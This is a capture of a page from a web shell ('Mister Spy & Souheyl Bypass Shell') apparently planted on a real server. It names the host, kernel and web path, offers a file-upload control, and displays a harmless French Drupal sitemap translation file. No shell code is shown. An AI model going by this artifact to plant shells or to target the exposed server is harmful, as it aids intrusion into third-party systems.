Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/konvbav/web/sites/default/files/translations/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/konvbav/web/sites/default/files/translations/simple_sitemap-4.2.3.fr.po

# French translation of Simple XML sitemap (4.2.3)
# Copyright (c) 2025 by the French translation team
#
msgid ""
msgstr ""
"Project-Id-Version: Simple XML sitemap (4.2.3)\n"
"POT-Creation-Date: 2025-11-26 09:46+0000\n"
"PO-Revision-Date: YYYY-mm-DD HH:MM+ZZZZ\n"
"Language-Team: French\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n>1);\n"

msgid "Title"
msgstr "Titre"
msgid "Images"
msgstr "Images"
msgid "Status"
msgstr "État"
msgid "Delete"
msgstr "Supprimer"
msgid "Operations"
msgstr "Actions"
msgid "Type"
msgstr "Type"
msgid "disabled"
msgstr "désactivé"
msgid "Description"
msgstr "Description"
msgid "Enabled"
msgstr "Activé"
msgid "Priority"
msgstr "Priorité"
msgid "Yes"
msgstr "Oui"
msgid "No"
msgstr "Non"
msgid "Edit"
msgstr "Modifier"
msgid "default"
msgstr "défaut"
msgid "- None -"
msgstr "- Aucun(e) -"
msgid "Weight"
msgstr "Poids"
msgid "Types"
msgstr "Types"
msgid "Settings"
msgstr "Paramètres"
msgid "Name"
msgstr "Nom"
msgid "Label"
msgstr "Libellé"
msgid "Save"
msgstr "Enregistrer"
msgid "Default"
msgstr "Par défaut"
msgid "Views"
msgstr "Vues"
msgid "View"
msgstr "Voir"
msgid "Path"
msgstr "Chemin"
msgid "Custom links"
msgstr "Liens personnalisés"
msgid "Display"
msgstr "Affichage"
msgid "Advanced settings"
msgstr "Paramètres avancés"
msgid "never"
msgstr "jamais"
msgid "ID"
msgstr "Identifiant (ID)"
msgid "Configure"
msgstr "Configurer"
msgid "Never"
msgstr "Jamais"
msgid "Submission URL"
msgstr "URL de soumission"
msgid "Random"
msgstr "Au hasard"
msgid "Search engine"
msgstr "Moteur de recherche"
msgid "Caption"
msgstr "Légende"
msgid "Engines"
msgstr "Moteurs"
msgid "Inclusion"
msgstr "Inclusion"
msgid "Excluded"
msgstr "Exclu"
msgid "Base URL"
msgstr "URL de base"
msgid "Index"
msgstr "Index"
msgid "Sitemap"
msgstr "Sitemap"
msgid "Search engines"
msgstr "Moteurs de recherche"
msgid "Yandex"
msgstr "Yandex"
msgid "pending"
msgstr "en attente"
msgid "daily"
msgstr "journalier"
msgid "weekly"
msgstr "hebdomadaire"
msgid "Entity type"
msgstr "Type d'entité"
msgid "yearly"
msgstr "annuel"
msgid "monthly"
msgstr "mensuel"
msgid "Variants"
msgstr "Variantes"
msgid "SEO"
msgstr "SEO"
msgid "Language settings"
msgstr "Paramètres de langue"
msgid "Last modification date"
msgstr "Date de la dernière modification"
msgid "Administrative description"
msgstr "Description pour l'administration"
msgid "Change frequency"
msgstr "Fréquence de changement"
msgid "Sitemap file"
msgstr "Fichier de la carte du site."
msgid "Number of sitemaps in this index"
msgstr "Nombre de cartes du site dans cet index"
msgid "Sitemap URL"
msgstr "URL de la carte du site"
msgid "Number of URLs in this sitemap"
msgstr "Nombre d'URL dans cette carte du site"
msgid "URL location"
msgstr "Emplacement de l'URL"
msgid "Bing"
msgstr "Bing"
msgid "Entities"
msgstr "Entités"
msgid "Default base URL"
msgstr "URL de base par défaut"
msgid "Translation set"
msgstr "Jeu de traduction"
msgid "- Not specified -"
msgstr "- Non spécifié -"
msgid "Maximum links in a sitemap"
msgstr "Nombre maximal de liens dans un plan de site"
msgid "Exclude duplicate links"
msgstr "Exclure les liens en double"
msgid "Skip non-existent translations"
msgstr "Ignorer les traductions inexistantes"
msgid "Enabled entity types"
msgstr "Types d'entités activés"
msgid "The base URL is invalid."
msgstr "L'URL de base est invalide."
msgid "There are no @label yet."
msgstr "Il n'y a pas encore de @label."
msgid "Include images"
msgstr "Inclure les images"
msgid "The sitemap will be generated according to this interval."
msgstr "Le plan de site sera généré selon cet intervalle."
msgid "There will be no links generated for languages checked here."
msgstr "Aucun lien ne sera généré pour les langues cochées ici."
msgid "Sitemap variants"
msgstr "Variantes du plan du site"
msgid "Rebuild queue"
msgstr "Reconstruire la file d'attente"
msgid "There are no items to be indexed."
msgstr "Il n'y a pas d'éléments à indexer."
msgid "Regenerate the sitemaps during cron runs"
msgstr ""
"Régénérer les plans de site à l'exécution des tâches planifiées "
"(cron)"
msgid "Sitemap generation max duration"
msgstr "Durée maximale de génération du plan de site"
msgid "Default hreflang"
msgstr "hreflang par défaut"
msgid "Rebuild queue & generate"
msgstr "Reconstruire la file d'attente et générer"

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net